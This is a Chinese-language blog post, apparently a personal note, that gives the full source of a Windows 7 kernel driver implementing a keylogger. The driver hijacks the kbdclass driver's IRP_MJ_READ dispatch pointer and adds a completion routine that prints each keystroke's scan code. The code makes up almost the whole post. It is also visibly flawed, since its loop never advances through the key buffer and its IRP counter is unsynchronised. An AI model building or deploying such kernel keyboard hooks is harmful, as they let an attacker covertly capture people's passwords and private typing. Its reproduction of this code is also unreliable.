天天看點

通過IRPhook實作鍵盤記錄

測試機器:win7x86

myhead.h:

#include <ntddk.h>


NTKERNELAPI NTSTATUS ObReferenceObjectByName
(
IN PUNICODE_STRING ObjectName,
IN ULONG Attributes,
IN PACCESS_STATE PassedAccessState OPTIONAL,
IN ACCESS_MASK DesiredAccess OPTIONAL,
IN POBJECT_TYPE ObjectType,
IN KPROCESSOR_MODE AccessMode,
IN OUT PVOID ParseContext OPTIONAL,
OUT PVOID *Object
);


typedef NTSTATUS(__stdcall *PDRVDISPATCHFUNC)(PDEVICE_OBJECT pDevObj, PIRP pIrp);



NTSTATUS DisPatchRead(PDEVICE_OBJECT pDevObj, PIRP pIrp);
NTSTATUS Hook(BOOLEAN IsEnble);
void Unload(PDRIVER_OBJECT pDriverObj);
NTSTATUS
MyCompletionRoutine(
__in PDEVICE_OBJECT  DeviceObject,
__in PIRP  Irp,
__in PVOID  Context
);
           

test.c

#include "myhead.h"
#include <ntddkbd.h>

extern POBJECT_TYPE *IoDriverObjectType;
PDRVDISPATCHFUNC OrlDispatchRead = NULL;
ULONG numPendingIrps = 0;

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegisterStr)
{
	UNREFERENCED_PARAMETER(pRegisterStr);
	NTSTATUS status = STATUS_SUCCESS;
	pDriverObj->DriverUnload = Unload;

	DbgPrint("DriverEntry\n");
	Hook(TRUE); 
	return status;
}

void Unload(PDRIVER_OBJECT pDriverObj)
{
	LARGE_INTEGER liDelayTime;
	Hook(FALSE);
	liDelayTime.QuadPart = -1000000;
	while (numPendingIrps > 0)
	{
		KeDelayExecutionThread(KernelMode, FALSE, &liDelayTime);
	}
	DbgPrint("Unload\n");
}

NTSTATUS Hook(BOOLEAN IsEnble)
{
	NTSTATUS status = STATUS_UNSUCCESSFUL;
	UNICODE_STRING usKeyDrvName;
	PDRIVER_OBJECT pKeyDrvObj = NULL;
	RtlInitUnicodeString(&usKeyDrvName, L"\\Driver\\kbdclass");
	status = ObReferenceObjectByName(&usKeyDrvName, OBJ_CASE_INSENSITIVE, NULL, 0, *IoDriverObjectType, KernelMode, NULL, (PVOID*)&pKeyDrvObj);
	if (!NT_SUCCESS(status))
	{
		DbgPrint("ObReferenceObjectByName error status:%p\n",status);
		return status;
	}
	ObReferenceObject(pKeyDrvObj);
	if (IsEnble)
	{
		OrlDispatchRead = pKeyDrvObj->MajorFunction[IRP_MJ_READ];
		pKeyDrvObj->MajorFunction[IRP_MJ_READ] = (PDRVDISPATCHFUNC)DisPatchRead;
	}
	else
	{
		pKeyDrvObj->MajorFunction[IRP_MJ_READ] = OrlDispatchRead;
	}

	return status;

}

NTSTATUS DisPatchRead(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{

 	PIO_STACK_LOCATION pIrpSp = IoGetCurrentIrpStackLocation(pIrp);
 	DbgPrint("pIrpSp->Control:%x", pIrpSp->Control);
 	DbgPrint("abc:%x", SL_INVOKE_ON_SUCCESS | SL_INVOKE_ON_ERROR | SL_INVOKE_ON_CANCEL);
 	pIrpSp->Control = SL_INVOKE_ON_SUCCESS /*| SL_INVOKE_ON_ERROR | SL_INVOKE_ON_CANCEL*/;
	if (NT_SUCCESS(pIrp->IoStatus.Status))
	{
		DbgPrint("DisPatchRead KEY BOARD\n");

		DbgPrint("CompletionRoutine %p BOARD\n", (PVOID)pIrpSp->CompletionRoutine);
 		pIrpSp->Context = (PVOID)pIrpSp->CompletionRoutine;
 		pIrpSp->CompletionRoutine = MyCompletionRoutine;
	}
	if (pIrp->PendingReturned)
	{
		IoMarkIrpPending(pIrp);
	}
	numPendingIrps++;
	return OrlDispatchRead(pDevObj, pIrp);
}

NTSTATUS
MyCompletionRoutine(
__in PDEVICE_OBJECT  DeviceObject,
__in PIRP  Irp,
__in PVOID  Context
)
{
	DbgPrint("MyCompletionRoutine\n");
	PKEYBOARD_INPUT_DATA pKid;
	//PIO_STACK_LOCATION pIrpSp = IoGetCurrentIrpStackLocation(Irp);
	if (NT_SUCCESS(Irp->IoStatus.Status))
	{
		pKid = (PKEYBOARD_INPUT_DATA)Irp->AssociatedIrp.SystemBuffer;
		ULONG uCount = Irp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);
		for (ULONG i = 0; i < uCount;i++)
		{
			switch (pKid->Flags)
			{
			case KEY_MAKE:
				DbgPrint("\nFlag: KEY_MAKE\n");
				break;
			case KEY_BREAK:
				DbgPrint("\nFlag: KEY_BREAK\n");
				break;
			}
			DbgPrint("Key Code: %x\n", pKid->MakeCode);
		}
	}
	if (Irp->PendingReturned)
	{
		IoMarkIrpPending(Irp);
	}
	numPendingIrps--;
	if ((Irp->StackCount > (ULONG)1) && (Context != NULL))
	{
		return ((PIO_COMPLETION_ROUTINE)Context)(DeviceObject, Irp, NULL);
	}
	else
		return Irp->IoStatus.Status; 
}
           

其中

pIrpSp->Control = SL_INVOKE_ON_SUCCESS /*| SL_INVOKE_ON_ERROR | SL_INVOKE_ON_CANCEL*/;
           
這一句是必須要設定的,不然進不了自己的完成函數!
           

繼續閱讀